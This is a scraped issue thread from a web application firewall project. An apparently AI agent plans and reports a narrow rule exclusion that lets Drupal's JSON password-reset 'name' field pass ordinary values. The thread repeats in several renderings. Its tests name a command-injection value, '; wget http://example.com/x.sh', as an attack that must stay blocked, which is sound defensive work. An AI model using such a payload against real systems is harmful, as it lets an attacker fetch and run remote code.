Follow-up to #250, under #212. The review at #250 (comment) found Drupal's JSON password reset still refused. Start after that PR lands.
Definition of done:
While bodies are read, POST /user/password?_format=json with {"name":"python3"} passes, as the form's name on /user/password already does.
Built by the plan at #212 (comment) and its addition at #212 (comment): recorded from Drupal 11.4.11 at the digest named in #243, removing on json.name only the rules its recorded values set off. Attacks stay refused, command injection included.
make check passes.
Model: opus-5-5
Follow-up to https://git.eeqj.de/sneak/smallwebwaf/pulls/250, under https://git.eeqj.de/sneak/smallwebwaf/issues/212. The review at https://git.eeqj.de/sneak/smallwebwaf/pulls/250#issuecomment-172946 found Drupal's JSON password reset still refused. Start after that PR lands.
**Definition of done:**
- While bodies are read, `POST /user/password?_format=json` with `{"name":"python3"}` passes, as the form's `name` on `/user/password` already does.
- Built by the plan at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-171639 and its addition at https://git.eeqj.de/sneak/smallwebwaf/issues/212#issuecomment-172023: recorded from Drupal 11.4.11 at the digest named in https://git.eeqj.de/sneak/smallwebwaf/pulls/243, removing on `json.name` only the rules its recorded values set off. Attacks stay refused, command injection included.
- `make check` passes.
Model: opus-5-5
clawbot
self-assigned this 2026-11-09 22:58:18 +01:00
Plan.#250 has landed, so this starts from current next.
Where:internal/coreruleset: drupal.conf, testdata/drupal-requests.txt and drupal_test.go. No new file.
Recording: Drupal 11.4.11 at the digest named in #243, in Docker on this host, through a plain HTTP client: POST /user/password?_format=json with name set to a plain word, python3, powershell, ls -la and .htaccess. Remove every container you start; stay under 3 GiB of RAM.
Exclusion:json.name on /user/password, with or without the language prefix, removing only the rules its recorded values set off; tests show SQL injection, script injection and ; wget http://example.com/x.sh still refused there. The rule is phase 1, with the body exclusions of drupal.conf, and the file header stays true.
Docs:SPEC.md's Drupal section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.
If #253 has landed, tests load through its shared loading.
make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR needs-review.
Model: opus-5-5
**Plan.** https://git.eeqj.de/sneak/smallwebwaf/pulls/250 has landed, so this starts from current `next`.
- **Where:** `internal/coreruleset`: `drupal.conf`, `testdata/drupal-requests.txt` and `drupal_test.go`. No new file.
- **Recording:** Drupal 11.4.11 at the digest named in https://git.eeqj.de/sneak/smallwebwaf/pulls/243, in Docker on this host, through a plain HTTP client: `POST /user/password?_format=json` with `name` set to a plain word, `python3`, `powershell`, `ls -la` and `.htaccess`. Remove every container you start; stay under 3 GiB of RAM.
- **Exclusion:** `json.name` on `/user/password`, with or without the language prefix, removing only the rules its recorded values set off; tests show SQL injection, script injection and `; wget http://example.com/x.sh` still refused there. The rule is phase 1, with the body exclusions of `drupal.conf`, and the file header stays true.
- **Docs:** `SPEC.md`'s Drupal section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.
- If https://git.eeqj.de/sneak/smallwebwaf/pulls/253 has landed, tests load through its shared loading.
`make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PR `needs-review`.
Model: opus-5-5
Built in #261: on /user/password, the JSON field json.name skips 930120, 932120, 932250 and 932260, the four rules the recorded names set off. Command injection, SQL injection and script injection stay refused there.
Model: opus-5-5
Built in https://git.eeqj.de/sneak/smallwebwaf/pulls/261: on `/user/password`, the JSON field `json.name` skips 930120, 932120, 932250 and 932260, the four rules the recorded names set off. Command injection, SQL injection and script injection stay refused there.
Model: opus-5-5
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Follow-up to #250, under #212. The review at #250 (comment) found Drupal's JSON password reset still refused. Start after that PR lands.
Definition of done:
POST /user/password?_format=jsonwith{"name":"python3"}passes, as the form'snameon/user/passwordalready does.json.nameonly the rules its recorded values set off. Attacks stay refused, command injection included.make checkpasses.Model: opus-5-5
Plan. #250 has landed, so this starts from current
next.internal/coreruleset:drupal.conf,testdata/drupal-requests.txtanddrupal_test.go. No new file.POST /user/password?_format=jsonwithnameset to a plain word,python3,powershell,ls -laand.htaccess. Remove every container you start; stay under 3 GiB of RAM.json.nameon/user/password, with or without the language prefix, removing only the rules its recorded values set off; tests show SQL injection, script injection and; wget http://example.com/x.shstill refused there. The rule is phase 1, with the body exclusions ofdrupal.conf, and the file header stays true.SPEC.md's Drupal section and the PR body name the field and the rules it skips; the PR body says an ordinary request on another field can still be refused.make fmt, thenflock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; aflocktimeout also exits 1, so read the output. Edit by hand, no scripted edits, and start no subagent on another model. Label the PRneeds-review.Model: opus-5-5
Built in #261: on
/user/password, the JSON fieldjson.nameskips 930120, 932120, 932250 and 932260, the four rules the recorded names set off. Command injection, SQL injection and script injection stay refused there.Model: opus-5-5